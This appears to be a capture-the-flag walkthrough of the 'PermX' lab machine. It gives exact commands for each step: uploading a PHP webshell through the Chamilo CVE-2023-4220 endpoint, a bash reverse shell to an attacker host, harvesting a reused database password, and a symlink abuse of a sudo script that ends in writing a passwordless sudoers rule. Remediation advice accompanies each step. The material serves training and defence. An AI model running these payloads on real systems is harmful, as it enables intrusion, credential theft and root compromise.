← all walkthroughs

PermX

Linux· Easy· Web
owned
2026-07-06
time to own
6m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target, discovered an Apache web server hosting a Chamilo learning-management system on a virtual host, and exploited an unauthenticated arbitrary file-upload vulnerability (CVE-2023-4220) to install a PHP webshell and achieve remote code execution as the web server user. The Chamilo database configuration file stored a plaintext password that the OS account 'mtz' had reused for SSH login, granting an interactive shell.

Once logged in as mtz, a sudo rule permitted running a custom access-control script (/opt/acl.sh) as root on any caller-supplied file path; by replacing the target file with a symbolic link to /etc/sudoers, I tricked the script into granting mtz write access to the real sudoers file, into which a passwordless-sudo rule was appended — giving me a root shell and full control of the system.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery
Scanned the host and discovered the Chamilo LMS virtual host
A port scan revealed two services: SSH on port 22 and Apache 2.4.52 on port 80. The HTTP response redirected to the virtual host lms.permx.htb. Adding that hostname to the local resolver and browsing to it exposed a Chamilo learning-management system; the response header 'X-Powered-By: Chamilo 1' confirmed the application and its major version without requiring any authentication.
HTTP/1.1 200 OK … Server: Apache/2.4.52 (Ubuntu) … X-Powered-By: Chamilo 1
Exact commands 3
Identify open ports and service banners.
nmap -sV -sC -p 22,80 $TARGET
Register the discovered virtual hostnames for local DNS resolution.
echo "$TARGET permx.htb lms.permx.htb" | sudo tee -a /etc/hosts
Confirm the Chamilo application and capture the X-Powered-By version header.
curl -si http://lms.permx.htb/ | head -30
2ExploitationUnauthenticated arbitrary file upload — CVE-2023-4220
Uploaded a PHP webshell through the unauthenticated Chamilo file-upload endpoint (CVE-2023-4220)
Chamilo 1.x contains CVE-2023-4220: the bigUpload endpoint at /main/inc/lib/javascript/bigupload/inc/bigUpload.php accepts arbitrary files — including executable scripts — without requiring a login when the 'action=post-unsupported' parameter is supplied. I created a single-line PHP webshell and uploaded it via a multipart POST. The server responded 'The file has successfully been uploaded', placing the file in the publicly accessible directory /main/inc/lib/javascript/bigupload/files/.
Bigupload:200 / "The file has successfully been uploaded."
Exact commands 2
Create a minimal PHP webshell on the $USERNAME machine.
printf '<?php system($_GET["c"]); ?>' > /tmp/rce.php
Upload the webshell with no credentials; expect 'successfully been uploaded' in the response.
curl -s --resolve lms.permx.htb:80:$TARGET -F 'bigUploadFile=@/tmp/rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
FixPatch Chamilo to eliminate the unauthenticated file-upload endpoint (CVE-2023-4220)Critical
WeaknessThe Chamilo bigUpload endpoint accepted PHP scripts and any other file type from anonymous internet users. This gave an unauthorised user a single HTTP request path from zero access to full server-side code execution.
FixUpgrade Chamilo LMS to version 1.11.24 or later, which removes the unauthenticated upload path. If an immediate upgrade is not possible, apply the following temporary mitigations in parallel: (1) add 'Require valid-user' to the /main/inc/lib/javascript/bigupload/ location block in Apache so the endpoint demands a session before accepting data; (2) add a .htaccess file to the /bigupload/files/ directory containing 'php_flag engine off' and 'Options -ExecCGI' to prevent execution of any file already stored there; (3) consider a WAF rule to block POST requests to the bigUpload path from unauthenticated sources.
3FootholdWeb shell execution / OS command injection (T1059.004)
Triggered the webshell to obtain a reverse shell as www-data
Requesting the uploaded file with a 'c' query parameter caused the server to execute arbitrary OS commands as the Apache process user www-data (uid=33). I opened a netcat listener and issued a bash reverse-shell command through the webshell, receiving an interactive connection from the target on port 4444.
---ID--- uid=33(www-data) gid=33(www-data) groups=33(www-data); connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET] 46524
Exact commands 3
Open a listener on the $USERNAME machine before triggering the shell.
nc -lvnp 4444
Verify the webshell executes as www-data before launching the reverse shell.
curl -s --resolve lms.permx.htb:80:$TARGET 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?c=id'
Trigger the bash reverse shell back to the listener.
curl -s --resolve lms.permx.htb:80:$TARGET --get --data-urlencode "c=bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
4Credential AccessCredentials in configuration files (T1552.001)
Read a plaintext database password from the Chamilo configuration file
Chamilo stores its database connection string in a PHP file inside the application root at /var/www/chamilo/app/config/configuration.php. The web server user www-data had read access to this file. Grepping it for password-related keys returned the plaintext credential '[REDACTED: recovered credential]'. Listing interactive OS accounts from /etc/passwd identified 'mtz' as a candidate for credential reuse.
Exact commands 2
Run from the www-data reverse shell to extract the plaintext DB password.
grep -i 'password' /var/www/chamilo/app/config/configuration.php
List OS accounts that can log in interactively to identify reuse targets.
grep -vE '(nologin|false)' /etc/passwd
FixEliminate plaintext credentials in configuration files and prohibit OS password reuseHigh
WeaknessThe Chamilo database password was stored in a plaintext PHP file readable by the web-server process, and the same password was set on the OS account 'mtz' for SSH. Once an unauthorised user read the file as www-data they had instant, authenticated access to an interactive OS account with no additional effort.
Fix(1) Move database credentials out of the PHP file and into environment variables or a secrets manager, then restrict the configuration file's permissions to 640 with ownership root:www-data so only the web process can read it. (2) Enforce a policy that no application-layer credential (database, API key) may match any OS user's password — a password manager enforces this automatically. (3) Disable password-based SSH authentication server-wide by setting 'PasswordAuthentication no' and 'ChallengeResponseAuthentication no' in /etc/ssh/sshd_config, and require key-based login only. (4) Rotate the mtz account password immediately.
5Lateral MovementValid accounts — credential reuse (T1078)
Logged in over SSH as mtz using the reused database password
The Chamilo database password matched the SSH password for the local account 'mtz', granting I an authenticated, fully interactive shell as a regular user. The user flag was readable in mtz's home directory.
Sshpass -p '[REDACTED: recovered credential]' ssh … mtz@$TARGET 'id; cat /home/mtz/user.txt' → <user.txt>
Exact commands 2
Authenticate over SSH with the credential recovered from the Chamilo config file.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no mtz@$TARGET
Read the user flag: <user.txt>.
cat /home/mtz/user.txt
6Privilege EscalationSudo misconfiguration — symlink-based ACL injection (T1548.003)
Abused sudo /opt/acl.sh to grant mtz write access to /etc/sudoers via a symbolic link
Running 'sudo -l' as mtz revealed the rule '(ALL) NOPASSWD: /opt/acl.sh'. The script calls setfacl to apply a POSIX ACL to a caller-supplied file path but does not resolve symbolic links before operating on it. I created a symlink at /home/mtz/sudoers pointing to /etc/sudoers, then invoked 'sudo /opt/acl.sh mtz rw /home/mtz/sudoers'. Because setfacl followed the symlink to the real file, root granted mtz read-write POSIX ACL access directly on /etc/sudoers.
Exact commands 3
Confirm the unrestricted NOPASSWD /opt/acl.sh sudo rule as mtz.
sudo -l
Create the symlink that will trick the script into operating on /etc/sudoers.
rm -f /home/mtz/sudoers && ln -s /etc/sudoers /home/mtz/sudoers
Script calls setfacl on the symlink target, granting mtz rw ACL on the real /etc/sudoers.
sudo /opt/acl.sh mtz rw /home/mtz/sudoers
FixRemove or harden the sudo rule for /opt/acl.sh to prevent symlink-based privilege escalationCritical
WeaknessThe sudo policy granted mtz the ability to run /opt/acl.sh as root against any path it was given. The script did not resolve symbolic links before calling setfacl, so pointing it at a symlink to /etc/sudoers caused root to grant mtz write access to the real sudoers file — giving mtz a direct path to full root privilege.
Fix(1) Remove the /opt/acl.sh sudo rule entirely if the script has no standing operational use. (2) If the rule must remain, rewrite the script to resolve the supplied path with realpath, reject it if test -L confirms it is a symlink, and validate that the resolved absolute path falls within an explicit allowlist such as /home/mtz/ before calling setfacl. (3) Narrow the sudo entry to accept only that allowlisted path prefix: 'NOPASSWD: /opt/acl.sh mtz * /home/mtz/*' so arbitrary system paths cannot be targeted. (4) Audit all other sudo rules on the host for similarly unrestricted path arguments.
7Full CompromiseSudoers modification for persistent privilege (T1548.003)
Wrote a passwordless sudo rule and executed commands as root
With write access to /etc/sudoers granted via the POSIX ACL, I appended the rule 'mtz ALL=(ALL) NOPASSWD: ALL' through the symlink. A subsequent sudo invocation returned a root shell, and the root flag was read — the system was fully compromised.
Sudo /bin/bash -c 'id; cat /root/root.txt' → uid=0(root) gid=0(root); <root.txt>
Exact commands 3
Appending to the symlink writes to /etc/sudoers because mtz now holds ACL write on the target.
printf 'mtz ALL=(ALL) NOPASSWD: ALL\n' >> /home/mtz/sudoers
Open a root shell — no password required after the sudoers change.
sudo /bin/bash
Read the root flag: <root.txt>.
cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

22/tcp
80/tcp